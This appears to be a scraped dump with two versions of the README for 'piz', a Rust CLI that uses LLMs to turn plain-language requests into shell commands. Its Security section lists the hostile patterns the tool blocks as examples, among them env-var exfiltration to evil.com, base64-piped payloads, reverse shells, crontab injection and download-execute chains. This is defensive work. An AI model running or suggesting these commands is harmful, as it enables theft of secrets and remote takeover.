**Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (190)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "b0cf05aa68a28f1acad6db007670ec8888d348a1": {"t": 1785760772.337468, "n": 17636, "h": "d82c464150a2f38a", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## 